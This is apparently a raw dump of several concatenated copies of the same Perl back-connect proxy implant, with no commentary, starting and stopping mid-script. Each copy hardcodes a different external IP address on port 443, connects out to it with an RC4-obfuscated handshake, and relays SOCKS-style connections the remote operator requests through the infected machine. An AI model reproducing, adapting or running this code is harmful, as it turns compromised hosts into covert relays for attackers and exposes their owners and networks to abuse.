$socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.170'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.169'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.151'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.168'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 